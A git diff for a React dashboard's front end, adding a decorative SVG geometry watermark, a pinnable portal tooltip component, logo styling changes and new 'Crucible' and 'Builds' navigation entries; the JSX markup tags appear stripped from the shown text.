+function SacredGeometry() { + const cx = 50; + const cy = 50; + const R = 32; // outer circle radius + + // Six-petal Flower of Life petal centres (offset by R from centre) + const petalAngles = [0, 60, 120, 180, 240, 300]; + const petals = petalAngles.map((deg) => { + const rad = (deg * Math.PI) / 180; + return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) }; + }); + + // 5-pointed star vertices inscribed at radius R*1.15 + const starR = R * 1.15; + const starPts = Array.from({ length: 5 }, (_, i) => { + const rad = ((i * 72 - 90) * Math.PI) / 180; + return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) }; + }); + const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z'; + + // Inner triangles (upward + downward — Star of David inner ring) + const triR = R * 0.7; + const triUp = [0, 120, 240].map((d) => { + const rad = ((d - 90) * Math.PI) / 180; + return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`; + }).join(' '); + const triDown = [60, 180, 300].map((d) => { + const rad = ((d - 90) * Math.PI) / 180; + return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`; + }).join(' '); + + return ( + + + {/* Outer ring */} + + {/* Middle ring */} + + {/* Inner ring */} + + {/* Flower of Life petal circles */} + {petals.map((p, i) => ( + + ))} + {/* Pentagon star */} + + {/* Merkaba triangles */} + + + {/* Centre dot */} + + {/* Spoke lines to star points */} + {starPts.map((p, i) => ( + + ))} + + + ); +} + export default function AmbientBackground() { return (
@@ -11,6 +72,8 @@ export default function AmbientBackground() {
+ {/* Sacred geometry watermark — centre of the main content area */} +
); } diff --git a/server/web/src/components/HelpTip.css b/server/web/src/components/HelpTip.css index 9bb15d6..973639e 100644 --- a/server/web/src/components/HelpTip.css +++ b/server/web/src/components/HelpTip.css @@ -1,9 +1,14 @@ -.help-tip { +.help-tip-trigger { display: inline-flex; align-items: center; gap: 0.35rem; margin-left: 0.35rem; + padding: 0; + border: none; + background: none; cursor: help; + vertical-align: middle; + line-height: 1; } .help-tip-icon { @@ -19,6 +24,55 @@ font-size: 0.6875rem; font-weight: 700; box-shadow: 0 0 8px rgba(0, 245, 255, 0.2); + transition: background 0.15s, box-shadow 0.15s, border-color 0.15s; +} + +.help-tip-trigger:hover .help-tip-icon, +.help-tip-trigger:focus-visible .help-tip-icon { + background: rgba(0, 245, 255, 0.22); + border-color: rgba(0, 245, 255, 0.65); + box-shadow: 0 0 12px rgba(0, 245, 255, 0.45); +} + +.help-tip-label { + font-size: 0.75rem; + color: var(--text-secondary); +} + +.help-tip-popup { + position: fixed; + z-index: 10000; + max-width: 280px; + padding: 0.55rem 0.75rem; + font-size: 0.78rem; + line-height: 1.45; + color: #e8f4f8; + background: rgba(6, 14, 18, 0.97); + border: 1px solid rgba(0, 245, 255, 0.45); + border-radius: 4px; + box-shadow: + 0 4px 24px rgba(0, 0, 0, 0.55), + 0 0 16px rgba(0, 245, 255, 0.12); + pointer-events: auto; + animation: help-tip-in 0.12s ease-out; +} + +.help-tip-popup-pinned { + border-color: rgba(255, 180, 0, 0.55); + box-shadow: + 0 4px 24px rgba(0, 0, 0, 0.55), + 0 0 12px rgba(255, 160, 0, 0.2); +} + +@keyframes help-tip-in { + from { + opacity: 0; + transform: translateY(-4px); + } + to { + opacity: 1; + transform: translateY(0); + } } .cheat-sheet-item { diff --git a/server/web/src/components/HelpTip.tsx b/server/web/src/components/HelpTip.tsx index 476a570..12b60de 100644 --- a/server/web/src/components/HelpTip.tsx +++ b/server/web/src/components/HelpTip.tsx @@ -1,5 +1,7 @@ +import { useCallback, useEffect, useRef, useState } from 'react'; +import { createPortal } from 'react-dom'; import { FIELD_HELP } from '../help/settingHelp'; -import '../components/HelpTip.css'; +import './HelpTip.css'; interface HelpTipProps { field: string; @@ -8,17 +10,111 @@ interface HelpTipProps { export function HelpTip({ field, label }: HelpTipProps) { const text = FIELD_HELP[field]; + const triggerRef = useRef(null); + const popupRef = useRef(null); + const [open, setOpen] = useState(false); + const [pinned, setPinned] = useState(false); + const [pos, setPos] = useState({ top: 0, left: 0 }); + + const reposition = useCallback(() => { + const el = triggerRef.current; + if (!el) return; + const rect = el.getBoundingClientRect(); + const popupW = 280; + let left = rect.left; + if (left + popupW > window.innerWidth - 12) { + left = window.innerWidth - popupW - 12; + } + left = Math.max(12, left); + setPos({ top: rect.bottom + 8, left }); + }, []); + + const show = useCallback(() => { + reposition(); + setOpen(true); + }, [reposition]); + + const hide = useCallback(() => { + if (!pinned) setOpen(false); + }, [pinned]); + + const togglePin = useCallback( + (e: React.MouseEvent) => { + e.preventDefault(); + e.stopPropagation(); + if (pinned) { + setPinned(false); + setOpen(false); + } else { + reposition(); + setPinned(true); + setOpen(true); + } + }, + [pinned, reposition], + ); + + useEffect(() => { + if (!pinned) return; + const onDocClick = (e: MouseEvent) => { + const t = e.target as Node; + if (triggerRef.current?.contains(t) || popupRef.current?.contains(t)) return; + setPinned(false); + setOpen(false); + }; + document.addEventListener('mousedown', onDocClick); + return () => document.removeEventListener('mousedown', onDocClick); + }, [pinned]); + + useEffect(() => { + if (!open) return; + const onScroll = () => reposition(); + window.addEventListener('scroll', onScroll, true); + window.addEventListener('resize', onScroll); + return () => { + window.removeEventListener('scroll', onScroll, true); + window.removeEventListener('resize', onScroll); + }; + }, [open, reposition]); + if (!text) return null; + return ( - - ? - {label && {label}} - + <> + + {open && + createPortal( +
setOpen(true)} + onMouseLeave={hide} + > + {text} +
, + document.body, + )} + ); } -export function FieldHint({ field }: { field: string }) { - const text = FIELD_HELP[field]; - if (!text) return null; - return {text}; +/** @deprecated Use HelpTip on the label instead — hints are shown on ? hover/click only. */ +export function FieldHint(_props: { field: string }) { + return null; } diff --git a/server/web/src/components/Layout/Layout.css b/server/web/src/components/Layout/Layout.css index a025499..0f999e8 100644 --- a/server/web/src/components/Layout/Layout.css +++ b/server/web/src/components/Layout/Layout.css @@ -43,25 +43,43 @@ .logo-emblem { position: relative; - width: 48px; - height: 48px; + width: 52px; + height: 52px; display: flex; align-items: center; justify-content: center; + flex-shrink: 0; } .logo-gear { position: absolute; - inset: 0; - border: 2px dashed rgba(201, 162, 39, 0.4); + inset: -4px; + border: 1px solid rgba(201, 162, 39, 0.22); border-radius: 50%; - animation: gear-spin 20s linear infinite; + animation: gear-spin 30s linear infinite; } -.logo-core { - font-size: 1.5rem; - filter: drop-shadow(0 0 8px var(--neon-amber)); +.logo-gear::after { + content: ''; + position: absolute; + inset: 5px; + border: 1px dashed rgba(201, 162, 39, 0.14); + border-radius: 50%; + animation: gear-spin 18s linear infinite reverse; +} + +.logo-af-img { + width: 48px; + height: 48px; + object-fit: contain; + border-radius: 50%; + filter: drop-shadow(0 0 10px rgba(201, 162, 39, 0.7)) drop-shadow(0 0 3px rgba(255, 100, 0, 0.5)); z-index: 1; + transition: filter 0.3s ease; +} + +.logo-af-img:hover { + filter: drop-shadow(0 0 16px rgba(201, 162, 39, 0.95)) drop-shadow(0 0 6px rgba(255, 140, 0, 0.7)); } .logo-text-block { diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx index 817c973..baf251a 100644 --- a/server/web/src/components/Layout/Layout.tsx +++ b/server/web/src/components/Layout/Layout.tsx @@ -4,6 +4,8 @@ import AmbientBackground from '../Ambient/AmbientBackground'; import SystemStatusBar from '../Visual/SystemStatusBar'; import { useWebSocket } from '../../hooks/useWebSocket'; import MatrixRain from './MatrixRain'; +import afLogo from '../../assets/af-logo.png'; +import CursorFire from '../Visual/CursorFire'; import './Layout.css'; interface LayoutProps { @@ -13,7 +15,9 @@ interface LayoutProps { const NAV = [ { to: '/dashboard', label: 'Command Deck', icon: 'deck' }, { to: '/agents', label: 'Fleet Roster', icon: 'fleet' }, + { to: '/crucible', label: 'Crucible', icon: 'crucible' }, { to: '/forge', label: 'Forge', icon: 'forge' }, + { to: '/builds', label: 'Builds', icon: 'builds' }, { to: '/guide', label: 'Field Guide', icon: 'guide' }, { to: '/settings', label: 'Calibrate', icon: 'gear' }, ] as const; @@ -41,6 +45,15 @@ function NavIcon({ type }: { type: string }) { ); + case 'builds': + return ( + + + + + + + ); case 'guide': return ( @@ -49,6 +62,15 @@ function NavIcon({ type }: { type: string }) { ); + case 'crucible': + return ( + + + + + + + ); default: return ( @@ -118,17 +140,18 @@ export default function Layout({ children }: LayoutProps) { return (
+